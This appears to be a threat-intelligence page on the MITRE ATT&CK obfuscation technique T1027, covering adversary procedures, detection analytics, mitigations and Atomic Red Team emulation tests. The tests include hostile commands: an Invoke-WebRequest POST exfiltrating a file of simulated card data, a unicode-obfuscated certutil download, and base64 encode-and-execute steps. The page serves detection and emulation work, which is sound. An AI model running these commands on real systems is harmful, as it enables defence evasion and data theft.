Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.[1] Adversaries may also use compressed or archived scripts, such as JavaScript.
Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.[2] Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.[3]
Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.[4][5][6]
Threat groups90th percentile · 89% of ATT&CK techniques have fewer threat groups attributed.
4
CampaignsTop 10%
Campaigns90th percentile · 88% of ATT&CK techniques have fewer campaigns recorded.
138
Tools & malwareTop 3%
Tools & malware97th percentile · 97% of ATT&CK techniques have fewer tools implementing them.
117
Detection rulesTop 1%
Detection rules99th percentile · 99% of ATT&CK techniques have fewer detection rules written.
Obfuscated Files or Information MITRE reference T1027
Top 10%of all ATT&CK techniques for number of groups
18 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has used malware with string encryption.1RedCurl has also encrypted data and has encoded PowerShell commands using Base64.23RedCurl has used PyArmor to obfuscate code execution of LaZagne. 2 Additionally, RedCurl has obfuscated downloaded files by renaming them as commonly used tools and has used echo, instead of file names themselves, to execute files.4
Has delivered initial payloads hidden using archives and encoding measures.123456789101112Mustang Panda has also utilized opaque predicates in payloads to hinder analysis.13
138 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has an obfuscated function (i.e. love_me__()) that dynamically reconstructs the string WScript.Shell using hard-coded ASCII values and the Chr() function.1
Obfuscated Files or Information detection strategy DET0378
MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Behavioral Detection of Obfuscated Files or Information
Enterprise
5 platforms
AN1064 · Windows
Correlates script execution or suspicious parent processes with creation or modification of encoded, compressed, or encrypted file formats (e.g., .zip, .7z, .enc) and abnormal command-line syntax or PowerShell obfuscation.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
Field
What you tune
CommandRegex
Customize for tools seen in environment (e.g., gzip, bzip2, xz)
SensitivePathList
Specify file paths likely targeted for obfuscation (e.g., /etc/, /home/)
AN1066 · macOS
Monitors use of archive or encryption tools (zip, openssl) tied to user-scripted activity or binaries writing encoded payloads under /Users or /Volumes.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
Anti-virus can be used to automatically detect and quarantine suspicious files. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10+ to analyze commands after being processed/interpreted.
Consider periodic review of common fileless storage locations (such as the Registry or WMI repository) to potentially identify abnormal and malicious data.
Ensure that a finite amount of ingress points to a software deployment system exist with restricted access for those required to allow and enable newly deployed software.
Tests11Executorspowershell 7 · command_prompt 2 · sh 1 · manual 1Need elevation1 of 11Have prerequisites3Have cleanup6Platformsmacos, linux, windows
#
Test
Platform
Executor
Elevation
Prereqs
Cleanup
Ref
01
Decode base64 Data into Script
macos, linux
sh
—
1
Yes
Creates a base64-encoded data file and decodes it into an executable shell script
Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes Hello from the Atomic Red Team
and uname -v
if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi
Get Prereq Commands
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64encode -r -"; else cmd="base64"; fi;
echo "#{shell_command}" | $cmd > /tmp/encoded.dat
GUIDf45df6be-2e1e-4136-a384-8f18ab3826fb
02
Execute base64-encoded PowerShell
windows
powershell
—
—
—
Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.
Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"
Execute base64-encoded PowerShell from Windows Registry
windows
powershell
—
—
Yes
Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.
Upon successful execution, powershell will execute encoded command and read/write from the registry.
DLP Evasion via Sensitive Data in VBA Macro over email
windows
powershell
—
—
—
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
DLP Evasion via Sensitive Data in VBA Macro over HTTP
windows
powershell
—
—
—
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
Inputs
Name
Description
Type
Default Value
input_file
Path of the XLSM file
path
PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
ip_address
Destination IP address
string
127.0.0.1
Attack Commandsrun with powershell
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"
GUIDe2d85e66-cb66-4ed7-93b1-833fc56c9319
07
Obfuscated Command in PowerShell
windows
powershell
—
—
—
This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Obfuscated Command Line using special Unicode characters
windows
manual
—
—
—
This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters).
Reference:
https://wietze.github.io/blog/windows-command-line-obfuscation
Inputs
Name
Description
Type
Default Value
local_path
Local path/filename to save the downloaded file to
1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.
certutil —ૹu૰rlࢰcac෯he –split −"൏ᶠ൸" #{remote_file} #{local_path}
2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.
GUIDe68b945c-52d0-4dd9-a5e8-d173d70c448f
09
Snake Malware Encrypted crmlog file
windows
powershell
Required
—
Yes
The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.
Snake Malware - CISA
Attack Commandsrun with powershellelevation required (root or admin)
Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/
Spawns a child PowerShell process using character array obfuscation.
Both the PowerShell binary name and executed command are constructed
from ASCII values at runtime to evade string-based detection.
This analytic identifies Snort intrusion signatures that have been triggered by ten or more distinct internal IP addresses within a one-hour window. (...)
Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton
2020-10-11
2023-02-01
74403157-20f5-415d-89a7-c505779585cf
Splunk
The following analytic detects the execution of the curl utility where the command line includes percent-encoded characters and explicit file output options (such as -o or --output). (...)
Detects potential suspicious execution of a GUID like folder name located in a suspicious location such as %TEMP% as seen being used in IcedID attacks. (...)
Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell. (...)
The following analytic detects the execution of PowerShell scripts containing Base64 encoded content, specifically identifying the use of `FromBase64String`. (...)
Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.
The following analytic identifies the creation of a .crmlog file within the %windows%\Registration directory, typically with a format of <RANDOM_GUID>.<RANDOM_GUID>.crmlog. (...)
Detects abuse of Tiny-C-Compiler (TinyCC) for shellcode execution, where tcc.exe is renamed to masquerade as svchost.exe and used to compile and execute C source files containing shellcode. (...)